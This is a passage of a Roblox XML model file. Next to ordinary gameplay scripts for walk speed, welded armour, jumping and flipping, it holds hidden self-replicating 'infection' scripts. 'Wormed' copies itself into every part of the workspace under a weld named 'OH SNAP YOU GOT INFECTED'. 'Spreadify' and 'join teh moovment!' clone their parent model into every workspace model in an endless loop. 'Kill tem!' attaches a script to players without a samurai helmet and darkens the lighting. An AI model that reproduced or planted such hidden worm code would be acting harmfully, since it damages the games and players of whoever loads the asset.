							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX658">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">WalkSpeed Script</string>
						<string name="Source">local debounce = false 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then 

debounce = true 

human.WalkSpeed = 16-- or whatever number 

wait(2) 
debounce = false 
end 
end 


script.Parent.Touched:connect(onTouch) 
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX659">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1j62htbs</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX660">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg2&quot;) == nil then
		local g = script.Parent.Parent.Leg2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX661">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">rbxa11</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX662">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm2</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm2&quot;) == nil then
		local g = script.Parent.Parent.Arm2:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Right Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX663">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2p9wkr5c</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX664">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Torso</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Chest&quot;) == nil then
		local g = script.Parent.Parent.Chest:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent.Torso
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end
end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX665">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">3b3i6j</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX666">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">2846wgwjj</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX667">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX668">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Wormed</string>
							<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="NumberValue" referent="RBX669">
							<Properties>
								<string name="Name">vic</string>
								<double name="Value">1</double>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX670">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">u56w</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX671">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">gvzvm</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX672">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">WalkSpeed Changer </string>
						<string name="Source">debounce = true

function onTouched(hit)
	local h = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
	if (h ~= nil and debounce == true) then
		debounce = false
		h.WalkSpeed = 25
		wait(1)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX673">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX674">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX675">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX676">
				<Properties>
					<string name="Name">No samurai plzzz</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX677">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Deth 2 teh samurai!</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX678">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Kill tem!</string>
							<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Timer" referent="RBX679">
							<Properties>
								<string name="Name">4ykelq2</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX680">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">3sqvohh1z</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX681">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">b5hcmqj5</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX682">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">join teh moovment!</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Timer" referent="RBX683">
							<Properties>
								<string name="Name">8kmc</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX684">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">mqfx0</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX685">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">hh8cnl</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Timer" referent="RBX686">
						<Properties>
							<string name="Name">as0k3z4</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX687">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">nzwni2ug</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX688">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">49l64aw</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Timer" referent="RBX689">
					<Properties>
						<string name="Name">8anom1y</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX690">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p6ny3nbo</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX691">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">b02x</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Humanoid" referent="RBX692">
				<Properties>
					<float name="Health">0</float>
					<float name="MaxHealth">0</float>
					<string name="Name">Humanoid</string>
					<float name="WalkSpeed">25</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX693">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ik7txer</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX694">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Hop</string>
						<string name="Source">print(&quot;Hello world!&quot;)

function Jump(a)
print(a)

if a == true then
wait(0.1)
script.Parent.Parent.Torso.Velocity = script.Parent.Parent.Torso.Velocity + Vector3.new(0, (script.Height.Value),0)

else
end

end

script.Parent.Jumping:connect(Jump)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="IntValue" referent="RBX695">
						<Properties>
							<string name="Name">Height</string>
							<int name="Value">50</int>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="LocalScript" referent="RBX696">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">LocalScript</string>
							<string name="Source">function _restoreproperties() 
Holder = player.Character 
Torso = Holder:FindFirstChild(&quot;Torso&quot;) 
RightS = Torso:FindFirstChild(&quot;Right Shoulder&quot;) 
LeftS = Torso:FindFirstChild(&quot;Left Shoulder&quot;) 
RightH = Torso:FindFirstChild(&quot;Right Hip&quot;) 
LeftH = Torso:FindFirstChild(&quot;Left Hip&quot;) 
RightS.MaxVelocity = .15 
LeftS.MaxVelocity = .15 
RightH.MaxVelocity = .1 
LeftH.MaxVelocity = .1 
RightS.DesiredAngle = 0 
LeftS.DesiredAngle = 0 
LeftH.DesiredAngle = 0 
RightH.DesiredAngle = 0 
end 
function ManageAnimation(value) 
Holder = player.Character 
Player = player 
if value == &quot;no anim&quot; then 
Anim = Holder:FindFirstChild(&quot;Animate&quot;) 
if Anim~=nil then 
Anim.Disabled = true 
Anim.Parent = Player 
end 
elseif value == &quot;re-anim&quot; then 
Anim = Player:FindFirstChild(&quot;Animate&quot;) 
if Anim~=nil then 
Anim.Disabled = false 
Anim.Parent = Holder 
end 
end 
end 
function Stance() 
Char = player.Character 
L = Char.Torso:FindFirstChild(&quot;Left Shoulder&quot;) 
R = Char.Torso:FindFirstChild(&quot;Right Shoulder&quot;) 
if L~=nil then 
L.DesiredAngle = 3.2 
L.MaxVelocity = 3 
end 
if R~=nil then 
R.DesiredAngle = 3.2 
R.MaxVelocity = 3 
end 
L = Char.Torso:FindFirstChild(&quot;Left Hip&quot;) 
R = Char.Torso:FindFirstChild(&quot;Right Hip&quot;) 
if L~=nil then 
L.DesiredAngle = 0 
L.MaxVelocity = 3 
end 
if R~=nil then 
R.DesiredAngle = 0 
R.MaxVelocity = 3 
end 
end 
function Down(ml) 
for i=1, ml.velocity.y/3 do 
ml.velocity = ml.velocity+Vector3.new(0,-4.25,0) 
wait() 
end 
ml:Remove() 
end 
function Flip() 
Char = player.Character 
Human = Char.Humanoid 
Torso = Char.Torso 
CF = Torso.CFrame 
ManageAnimation(&quot;re anim&quot;) 
Stance() 
Human.Jump = true
VelUp = Instance.new(&quot;BodyVelocity&quot;) 
VelUp.velocity = Vector3.new(72.5,0,72.5)+Torso.CFrame.lookVector*30 
VelUp.P = VelUp.P*2 
VelUp.maxForce = Vector3.new(10000,10000,10000)*999 
VelUp.Parent = Torso 

	
coroutine.resume(coroutine.create(Down),VelUp) 
Gyro = Instance.new(&quot;BodyGyro&quot;) 
Gyro.P = Gyro.P*10 
Gyro.maxTorque = Vector3.new(100000,100000,100000)*999 
Gyro.cframe = CF 
Gyro.Parent = Torso 
for i=1, 32 do 
Gyro.cframe = Gyro.cframe*CFrame.fromEulerAnglesXYZ(math.pi/-16,0,0) 
wait() 
end 
Gyro.cframe = CF 
game:GetService(&quot;Debris&quot;):AddItem(Gyro,2) 
ManageAnimation(&quot;re-anim&quot;) 
_restoreproperties() 
end 
function onActive(mouse) 
player = game.Players.LocalPlayer 
if player==nil then return end 
mouse.Button1Down:connect(function() Flip() end) 
end 
script.Parent.Selected:connect(onActive) 
 
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX697">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>15.953578</X>
					<Y>0.59082216</Y>
					<Z>14.7591925</Z>
					<R00>0.245641038</R00>
					<R01>0.000242802125</R01>
					<R02>-0.969360769</R02>
					<R10>-0.000440645294</R10>
					<R11>-0.999999702</R11>
					<R12>-0.000362138206</R12>
					<R20>-0.969360709</R20>
					<R21>0.000516100263</R21>
					<R22>-0.245640755</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0593610741</X>
					<Y>-0.00434135646</Y>
					<Z>0.0276004355</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00232767686</X>
					<Y>0.00210843468</Y>
					<Z>-0.00313198403</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX698">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX699">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX700">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>21.0550442</X>
					<Y>0.591393828</Y>
					<Z>20.2090912</Z>
					<R00>0.653345108</R00>
					<R01>7.47567526e-007</R01>
					<R02>-0.75706023</R02>
					<R10>-3.68564383e-006</R10>
					<R11>-0.99999994</R11>
					<R12>-4.16818193e-006</R12>
					<R20>-0.75706023</R20>
					<R21>5.51351559e-006</R21>
					<R22>-0.653345048</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00474351272</X>
					<Y>0.00105864217</Y>
					<Z>0.0247186851</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00236075162</X>
					<Y>-0.00672239158</Y>
					<Z>0.00520721311</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX701">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX702">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Camera" referent="RBX126">
			<Properties>
				<Ref name="CameraSubject">null</Ref>
				<token name="CameraType">0</token>
				<CoordinateFrame name="CoordinateFrame">
					<X>-22.0246716</X>
					<Y>15.7007513</Y>
					<Z>30.0378647</Z>
					<R00>0.399421841</R00>
					<R01>0.390299678</R01>
					<R02>-0.829535007</R02>
					<R10>-1.72356174e-008</R10>
					<R11>0.90484798</R11>
					<R12>0.425734758</R12>
					<R20>0.91676724</R20>
					<R21>-0.170047745</R21>
					<R22>0.361416072</R22>
				</CoordinateFrame>
				<CoordinateFrame name="Focus">
					<X>-5.43397141</X>
					<Y>7.18605614</Y>
					<Z>22.8095436</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Camera</string>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX703">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-34</X>
					<Y>25.4000015</Y>
					<Z>-56</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
